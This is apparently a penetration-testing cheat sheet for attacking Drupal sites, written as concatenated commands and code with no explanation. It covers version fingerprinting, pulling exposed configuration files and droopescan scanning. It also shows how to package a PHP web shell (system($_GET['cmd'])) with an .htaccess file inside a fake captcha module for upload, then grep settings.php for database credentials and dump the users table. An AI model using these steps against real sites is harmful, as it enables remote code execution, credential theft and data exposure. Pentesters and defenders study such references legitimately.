Drupal
最后更新于
curl https://www.drupal.org/ | grep 'content="Drupal'curl drupal-site.com/node/1curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.ymldroopescan scan drupal -u http://drupal-site.localcurl http://drupal-site.local/node/3wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz<?php
system($_GET["cmd"]);
?><IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/nullmysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'